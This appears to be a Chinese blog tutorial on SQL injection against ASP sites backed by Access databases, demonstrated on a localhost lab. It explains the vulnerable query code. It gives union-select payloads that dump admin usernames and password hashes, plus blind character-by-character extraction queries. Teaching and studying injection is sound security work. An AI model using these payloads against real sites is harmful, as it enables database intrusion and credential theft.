SQL注入原理-Access注入

0X001 针对网站域名的剖析

根据网站URL的地址我们大致能将URL分为以下几种 网站URL地址:

http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 

网站域名:http://127.0.0.1:81 

文件目录:asp/Production 

文件名:PRODUCT_DETAIL.asp? 

文件参数名:id 

文件参数值:1139

 

0X002 sql注入原理以及产生

不是太会画图 将就着看吧  这个就能很好的帮助我们学习sql注入  那么我们现在看看Access数据库的结构是什么样子的    

Access数据库

                   表名

                     列名

                       数据

看完数据库分层大家就大概明白了access是怎样的数据库  那么说了这么多sql注入到底是怎么产生的呢?这是一个问题   

sql注入原理: 

脚本代码接受数据未经过过滤就交给服务器进行处理 导致恶意sql语句插入到数据库中执行  那么我们看一下究竟是在哪里出现的错误 打开PRODUCT_DETAIL.asp?文件  上图!

<%      %>:这个函数作为asp语言的开端和结尾 id=request("id"):接受参数名为id的值并赋值给变量id sql="select * from product where id="&id:定义sql语句,组合变量id,赋值到变量sql

set rs=conn.execute(sql):执行sql变量中的sql语句 

那么我们明白了这些  就可以看看 输入URL到底是什么意思 

http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 id=request("id") ==>id=1139(前面的id代表变量,后面的id代表参数名)

sql=select*from oroduct where id=&id==>

sql=select*from product where id=1139 

 

这里就能看出你输入网站时并回车时执行的sql语句  那么我们在进行sql注入的检测时候输入and 1=1 这样他的sql语句是什么呢? 

http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 and 1=1 id=request("id") ==>id=1139 and 1=1(前面的id代表变量,后面的id代表参数名)

sql=select*from oroduct where id=&id==>

sql=select*from product where id=1139 and 1=1 

那么我们常说的检测注入是否存在的方法到低是什么意思呢?

and 1=1 返回正常 

and 1=2 返回错误

只要这两点存在那么就存在注入对吧  但是为什么要这样判断呢?这里牵扯到  数学中的逻辑运算符  首先我们要理解 或 且 非这三个文字在sql语句中是什么意思

或=or     且=and     非=xor 

真且真=真 

真或假=真 

真且假=假 

明白这些我们就能明白他的sql原理  

你看  sql=select*from product where id=1139 这个是真的对吧  你放到浏览器里面 他会执行而且返回的还是一个正常的页面 那在后面加上一个and 1=1 是不是真且真的原理   1=1这个是不会改变的因为1只能等于1这是不变的 所以返回正常页面   那么1=2他始终是假的  1永远不可能等于2  那么就符合真且假的这个逻辑所以它返回错误页面    但是and 1=1 and 1=2 也是被作为检测数据库是否执行你的sql语句

 

0X003 Access注入攻击-联合注入查询法

1.判断是否存在注入

    ‘         报错

and 1=1 返回正常

and 1=2 返回错误

order by xx  查询字段数量

就是检查我们的字段数  那么我们看看字段数到底在哪里  在Production目录里    我们去看看字段数究竟是什么

这些就是字段  后面还有很多  大概有22个吧   那么他的字段数就是22个 当然你在查询时在22是返回正常的 23就返回错误  这就说明字段数目是22个  order by 22正确 order by 23错误

2.猜解表名

这里需要运用到union select 这个函数  什么意思呢?  就是联合查询的意思  就是呗多个函数连起来进行查询  刚才我们查到了22个字段  那么我们就可以构造语句

http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin 

这个是什么意思呢 就是查询你数据库中有没有存在admin表如果存在他会返回什么样的界面呢

这样就说明了  他存在admin表  而且在第三 第15这里还出错了  那么我们就可以利用出错的3  15来执行我们的sql语句  

http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin 

这就话的意思就是 查询admin表中是否存在 username password列名  那么返回正常的界面和错误的界面

这里它显示错误了  但是究竟是哪里错了呢  让我们看下数据库列名的名字就知道了   

  原来是列名的名字错误了  应该是admin password  那么我们改变一下去试试

  这里就返回正常了 并爆出他的明文以及md5值   那如果报错呢  那就是可能他的列名的名字修改了  这就需要你们自己尝试爆破  去猜解  给大家一些常用的列名 user pass username password admin等等   因为查询的函数 union select  能够执行多的函数去sql查询  所以这个方法就是联合查询法

 

0X004 Access注入攻击-逐字查询法

逐字查询 字如其名一个字一个字的查询  一般比如啊D 明小子都是这样的  那么为什么要使用这种呢  因为它查询出来的信息很准确  所以很受猜解工具的青睐  那么为什么在我们手工时非常的不喜欢呢  因为它所需要的时间太长了  一个站点你要1个小时去查询 所以我就不掩饰太多

查表:and exists (select * from 表名)   返回正常 存在admin表 

查列:and exists (select 列名 from 表名)

查数据:1.确定长度 2.确定asc数据(asc编码)

and (select top 1 len(列名) from admin)=5  

and (select top 1 asc(mid(列名,位数,1)) from admin)=97

and (select top 1 asc(mid(列名,位数,1)) from admin)=97    

看到了吗  很麻烦滴 所以我不建议大家使用这种方法  如果你追求数据的准确性的话就使用这种方法 

 

0X005 注入工具运作原理

这里我们使用w**plorer抓一下啊D 猜解表段的包来看看

这里我们可以看到  他的sql语句一直都是在查询表段名  那么我们放到网站中执行 这个sql语句去试试

这里我的表名是admin 所以就返回正常也就说明数据库中存在admin这个表    我将常用的猜解语句给大家打包下

and exists (select * from 表名)  猜解表名

and exists (select 字段 from 表名)  猜解字段名

posted @ 2017-11-17 09:04  七月哈比  阅读(1186)  评论(0编辑  收藏  举报
站长QQ:1340895414